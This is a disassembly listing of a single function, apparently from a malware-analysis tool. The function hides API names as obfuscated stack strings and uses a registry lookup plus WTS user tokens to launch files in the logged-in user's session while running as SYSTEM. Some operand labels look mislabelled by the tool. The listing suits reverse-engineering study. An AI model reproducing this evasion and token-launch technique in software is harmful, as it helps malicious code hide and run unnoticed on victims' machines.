Function at 0x1001fa90
Capabilities:
Contain obfuscated stackstrings
Get session user name

Disassembly:
sub esp, 0x970
push ebx
push ebp
push esi
lea eax, [esp + 0xb4]
push edi
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x4b
mov byte [esp + 0x35], 0x45
mov byte [esp + 0x36], 0x52
mov byte [esp + 0x37], 0x4e
mov byte [esp + 0x38], 0x45
mov byte [esp + 0x39], 0x4c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0xc0], 0x47
mov byte [esp + 0xc1], bl
mov byte [esp + 0xc2], 0x74
mov byte [esp + 0xc3], 0x46
mov byte [esp + 0xc4], 0x69
mov byte [esp + 0xc5], 0x6c
mov byte [esp + 0xc6], bl
mov byte [esp + 0xc7], 0x41
mov byte [esp + 0xc8], 0x74
mov byte [esp + 0xc9], 0x74
mov byte [esp + 0xca], 0x72
mov byte [esp + 0xcb], 0x69
mov byte [esp + 0xcc], 0x62
mov byte [esp + 0xcd], 0x75
mov byte [esp + 0xce], 0x74
mov byte [esp + 0xcf], bl
mov byte [esp + 0xd0], 0x73
mov byte [esp + 0xd1], 0x41
mov byte [esp + 0xd2], 0
call fcn.1001d6c0
mov esi, eax
lea edx, [esp + 0x7c]
lea eax, [esp + 0x44]
push edx
push eax
mov byte [esp + 0x4c], 0x53
mov byte [esp + 0x4d], 0x48
mov byte [esp + 0x4e], 0x45
mov byte [esp + 0x4f], 0x4c
mov byte [esp + 0x50], 0x4c
mov byte [esp + 0x51], 0x33
mov byte [esp + 0x52], 0x32
mov byte [esp + 0x53], 0x2e
mov byte [esp + 0x54], 0x64
mov byte [esp + 0x55], 0x6c
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0
mov byte [esp + 0x84], 0x53
mov byte [esp + 0x85], 0x68
mov byte [esp + 0x86], bl
mov byte [esp + 0x87], 0x6c
mov byte [esp + 0x88], 0x6c
mov byte [esp + 0x89], 0x45
mov byte [esp + 0x8a], 0x78
mov byte [esp + 0x8b], bl
mov byte [esp + 0x8c], 0x63
mov byte [esp + 0x8d], 0x75
mov byte [esp + 0x8e], 0x74
mov byte [esp + 0x8f], bl
mov byte [esp + 0x90], 0x41
mov byte [esp + 0x91], 0
call fcn.1001d6c0
mov dword [esp + 0x24], eax
mov byte [esp + 0x28], 0x41
mov byte [esp + 0x29], 0x44
mov byte [esp + 0x2a], 0x56
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], 0x50
mov byte [esp + 0x2d], 0x49
lea ecx, [esp + 0x74]
lea edx, [esp + 0x28]
push ecx
push edx
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x7c], 0x52
mov byte [esp + 0x7d], bl
mov byte [esp + 0x7e], 0x67
mov byte [esp + 0x7f], 0x4f
mov byte [esp + 0x80], 0x70
mov byte [esp + 0x81], bl
mov byte [esp + 0x82], 0x6e
mov byte [esp + 0x83], 0x4b
mov byte [esp + 0x84], bl
mov byte [esp + 0x85], 0x79
mov byte [esp + 0x86], 0x45
mov byte [esp + 0x87], 0x78
mov byte [esp + 0x88], 0x41
mov byte [esp + 0x89], 0
call fcn.1001d6c0
mov ebp, eax
lea eax, [esp + 0xac]
lea ecx, [esp + 0x30]
push eax
push ecx
mov byte [esp + 0xb4], 0x52
mov byte [esp + 0xb5], bl
mov byte [esp + 0xb6], 0x67
mov byte [esp + 0xb7], 0x51
mov byte [esp + 0xb8], 0x75
mov byte [esp + 0xb9], bl
mov byte [esp + 0xba], 0x72
mov byte [esp + 0xbb], 0x79
mov byte [esp + 0xbc], 0x56
mov byte [esp + 0xbd], 0x61
mov byte [esp + 0xbe], 0x6c
mov byte [esp + 0xbf], 0x75
mov byte [esp + 0xc0], bl
mov byte [esp + 0xc1], 0x41
mov byte [esp + 0xc2], 0
call fcn.1001d6c0
mov dword [esp + 0x12c], eax
lea edx, [esp + 0x68]
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x70], 0x52
mov byte [esp + 0x71], bl
mov byte [esp + 0x72], 0x67
mov byte [esp + 0x73], 0x43
mov byte [esp + 0x74], 0x6c
mov byte [esp + 0x75], 0x6f
mov byte [esp + 0x76], 0x73
mov byte [esp + 0x77], bl
mov byte [esp + 0x78], 0x4b
mov byte [esp + 0x79], bl
mov byte [esp + 0x7a], 0x79
mov byte [esp + 0x7b], 0
call fcn.1001d6c0
mov dword [esp + 0x130], eax
mov byte [esp + 0x10c], 0x57
mov byte [esp + 0x10d], 0x54
mov byte [esp + 0x10e], 0x53
mov byte [esp + 0x10f], 0x47
mov byte [esp + 0x110], bl
mov byte [esp + 0x111], 0x74
mov byte [esp + 0x112], 0x41
mov byte [esp + 0x113], 0x63
mov byte [esp + 0x114], 0x74
mov byte [esp + 0x115], 0x69
mov byte [esp + 0x116], 0x76
mov byte [esp + 0x117], bl
mov byte [esp + 0x118], 0x43
mov byte [esp + 0x119], 0x6f
mov byte [esp + 0x11a], 0x6e
lea ecx, [esp + 0x10c]
lea edx, [esp + 0x54]
push ecx
push edx
mov byte [esp + 0x123], 0x73
mov byte [esp + 0x124], 0x6f
mov byte [esp + 0x125], 0x6c
mov byte [esp + 0x126], bl
mov byte [esp + 0x127], 0x53
mov byte [esp + 0x128], bl
mov byte [esp + 0x129], 0x73
mov byte [esp + 0x12a], 0x73
mov byte [esp + 0x12b], 0x69
mov byte [esp + 0x12c], 0x6f
mov byte [esp + 0x12d], 0x6e
mov byte [esp + 0x12e], 0x49
mov byte [esp + 0x12f], 0x64
mov byte [esp + 0x130], 0
call fcn.1001d6c0
mov dword [esp + 0x150], eax
lea eax, [esp + 0xd4]
lea ecx, [esp + 0x84]
push eax
push ecx
mov byte [esp + 0x8c], 0x57
mov byte [esp + 0x8d], 0x54
mov byte [esp + 0x8e], 0x53
mov byte [esp + 0x8f], 0x41
mov byte [esp + 0x90], 0x50
mov byte [esp + 0x91], 0x49
mov byte [esp + 0x92], 0x33
mov byte [esp + 0x93], 0x32
mov byte [esp + 0x94], 0x2e
mov byte [esp + 0x95], 0x64
mov byte [esp + 0x96], 0x6c
mov byte [esp + 0x97], 0x6c
mov byte [esp + 0x98], 0
mov byte [esp + 0xdc], 0x57
mov byte [esp + 0xdd], 0x54
mov byte [esp + 0xde], 0x53
mov byte [esp + 0xdf], 0x51
mov byte [esp + 0xe0], 0x75
mov byte [esp + 0xe1], bl
mov byte [esp + 0xe2], 0x72
mov byte [esp + 0xe3], 0x79
mov byte [esp + 0xe4], 0x55
mov byte [esp + 0xe5], 0x73
mov byte [esp + 0xe6], bl
mov byte [esp + 0xe7], 0x72
mov byte [esp + 0xe8], 0x54
mov byte [esp + 0xe9], 0x6f
mov byte [esp + 0xea], 0x6b
mov byte [esp + 0xeb], bl
mov byte [esp + 0xec], 0x6e
mov byte [esp + 0xed], 0
call fcn.1001d6c0
mov dword [esp + 0x14c], eax
lea edx, [esp + 0xbc]
lea eax, [esp + 0x64]
push edx
push eax
mov byte [esp + 0xc4], 0x43
mov byte [esp + 0xc5], 0x72
mov byte [esp + 0xc6], bl
mov byte [esp + 0xc7], 0x61
mov byte [esp + 0xc8], 0x74
mov byte [esp + 0xc9], bl
mov byte [esp + 0xca], 0x50
mov byte [esp + 0xcb], 0x72
mov byte [esp + 0xcc], 0x6f
mov byte [esp + 0xcd], 0x63
mov byte [esp + 0xce], bl
mov byte [esp + 0xcf], 0x73
mov byte [esp + 0xd0], 0x73
mov byte [esp + 0xd1], 0x41
mov byte [esp + 0xd2], 0
call fcn.1001d6c0
add esp, 0x40
mov dword [esp + 0x11c], eax
mov byte [esp + 0xcc], 0x43
mov byte [esp + 0xcd], 0x72
lea ecx, [esp + 0xcc]
lea edx, [esp + 0x18]
push ecx
push edx
mov byte [esp + 0xd6], bl
mov byte [esp + 0xd7], 0x61
mov byte [esp + 0xd8], 0x74
mov byte [esp + 0xd9], bl
mov byte [esp + 0xda], 0x50
mov byte [esp + 0xdb], 0x72
mov byte [esp + 0xdc], 0x6f
mov byte [esp + 0xdd], 0x63
mov byte [esp + 0xde], bl
mov byte [esp + 0xdf], 0x73
mov byte [esp + 0xe0], 0x73
mov byte [esp + 0xe1], 0x41
mov byte [esp + 0xe2], 0x73
mov byte [esp + 0xe3], 0x55
mov byte [esp + 0xe4], 0x73
mov byte [esp + 0xe5], bl
mov byte [esp + 0xe6], 0x72
mov byte [esp + 0xe7], 0x41
mov byte [esp + 0xe8], 0
call fcn.1001d6c0
mov ebx, dword [esp + 0x98c]
add esp, 8
mov dword [esp + 0x118], eax
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x47c]
rep stosd dword es:[edi], eax
push ebx
mov dword [esp + 0x108], 0x400
call esi
cmp eax, 0xffffffff
je 0x100203ca
test al, 0x10
je 0x1002018b
push 5
push 0
push 0
push ebx
push str.open
push 0
call dword [esp + 0x2c]
mov ecx, 0x20
pop edi
cmp ecx, eax
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x970
ret
mov esi, dword [sym.imp.MSVCRT.dll_strrchr]
push 0x2e
push ebx
call esi
add esp, 8
mov dword [esp + 0x14], eax
test eax, eax
je 0x100203ca
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x378]
push 0x5c
rep stosd dword es:[edi], eax
push ebx
call esi
sub eax, ebx
lea edx, [esp + 0x380]
push eax
push ebx
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x14
lea eax, [esp + 0x110]
lea ecx, [esp + 0x87c]
mov dword [esp + 0x110], 0x100
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x87c]
push str.SYSTEM
push edx
call dword [sym.imp.MSVCRT.dll__stricmp]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov edx, dword [0x10132b60]
add esp, 8
test eax, eax
jne 0x10020230
test edx, edx
jne 0x10020234
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call edi
mov edx, dword [0x10132b60]
test edx, edx
je 0x10020220
jmp 0x10020234
test edx, edx
je 0x100202a0
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x178]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x178]
push edi
push edx
push str._s_Classes_s
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x10]
lea edx, [esp + 0x178]
push ecx
push 0x20019
push 0
push edx
push reloc.WS2_32.dll_closesocket
call ebp
test eax, eax
je 0x100202c0
lea eax, [esp + 0x10]
push eax
push 0x20019
push 0
push edi
push SysReAllocString
call ebp
test eax, eax
je 0x100202c0
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
push 0x20019
push 0
push edx
push SysReAllocString
call ebp
test eax, eax
jne 0x100203ca
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x104]
lea ecx, [esp + 0x47c]
push eax
push ecx
push 0
push edx
call dword [esp + 0x11c]
mov eax, dword [esp + 0x10]
push eax
call dword [esp + 0x10c]
mov edx, dword [0x10132b60]
mov ecx, 0x80
test edx, edx
je 0x10020386
xor eax, eax
lea edi, [esp + 0x178]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x47c]
push ecx
push edx
lea edx, [esp + 0x180]
push str._s_Classes_s_shellopencommand
push edx
call esi
add esp, 0x10
lea eax, [esp + 0x10]
lea ecx, [esp + 0x178]
push eax
push 0x20019
push 0
push ecx
push reloc.WS2_32.dll_closesocket
call ebp
test eax, eax
je 0x100203d7
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x178]
lea edx, [esp + 0x47c]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x17c]
push str._s_shellopencommand
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x178]
push ecx
push 0x20019
push 0
push edx
jmp 0x100203bf
xor eax, eax
lea edi, [esp + 0x178]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x47c]
lea ecx, [esp + 0x178]
push eax
push str._s_shellopencommand
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x178]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call ebp
test eax, eax
je 0x100203d7
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x47c]
lea edx, [esp + 0x47c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x104]
mov dword [esp + 0x104], 0x400
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call dword [esp + 0x11c]
mov ecx, dword [esp + 0x10]
push ecx
call dword [esp + 0x10c]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x47c]
push 0x101001e0
push edx
call esi
add esp, 8
test eax, eax
jne 0x1002046f
lea eax, [esp + 0x47c]
push 0x101001dc
push eax
call esi
add esp, 8
test eax, eax
jne 0x1002046f
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x47c]
push 0x100ff5dc
push ecx
call esi
lea edx, [esp + 0x47c]
push ebx
push edx
call esi
jmp 0x10020477
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x138]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x14]
mov ax, word [esp + 0x98c]
push str..exe
push edi
mov dword [esp + 0x13c], 0x44
mov dword [esp + 0x168], 1
mov word [esp + 0x16c], ax
call esi
add esp, 8
test eax, eax
je 0x100204eb
push str..bat
push edi
call esi
add esp, 8
test eax, eax
je 0x100204eb
push str..com
push edi
call esi
add esp, 8
test eax, eax
je 0x100204eb
mov edi, 1
jmp 0x100204ed
xor edi, edi
lea ecx, [esp + 0x87c]
push str.SYSTEM
push ecx
mov dword [esp + 0x30], 0
call esi
add esp, 8
test eax, eax
jne 0x10020551
mov eax, dword [esp + 0x988]
test eax, eax
jne 0x1002051a
test edi, edi
je 0x10020551
call dword [esp + 0x120]
cmp eax, 0xffffffff
jne 0x10020533
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
lea edx, [esp + 0x28]
push edx
push eax
call dword [esp + 0x11c]
test eax, eax
jne 0x10020551
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
mov eax, dword [esp + 0x28]
test eax, eax
jne 0x1002059d
lea eax, [esp + 0x124]
lea ecx, [esp + 0x134]
push eax
lea edx, [esp + 0x37c]
push ecx
push edx
push 0
push 0
push 0
push 0
lea eax, [esp + 0x498]
push 0
push eax
push 0
call dword [esp + 0x144]
test eax, eax
jne 0x100205ed
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
lea ecx, [esp + 0x124]
lea edx, [esp + 0x134]
push ecx
lea ecx, [esp + 0x37c]
push edx
push ecx
push 0
push 0
push 0
push 0
lea edx, [esp + 0x498]
push 0
push edx
push 0
push eax
call dword [esp + 0x144]
test eax, eax
jne 0x100205ed
mov eax, dword [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
mov ecx, dword [esp + 0x128]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x124]
push edx
call esi
mov eax, dword [esp + 0x28]
test eax, eax
je 0x10020612
push eax
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x970
ret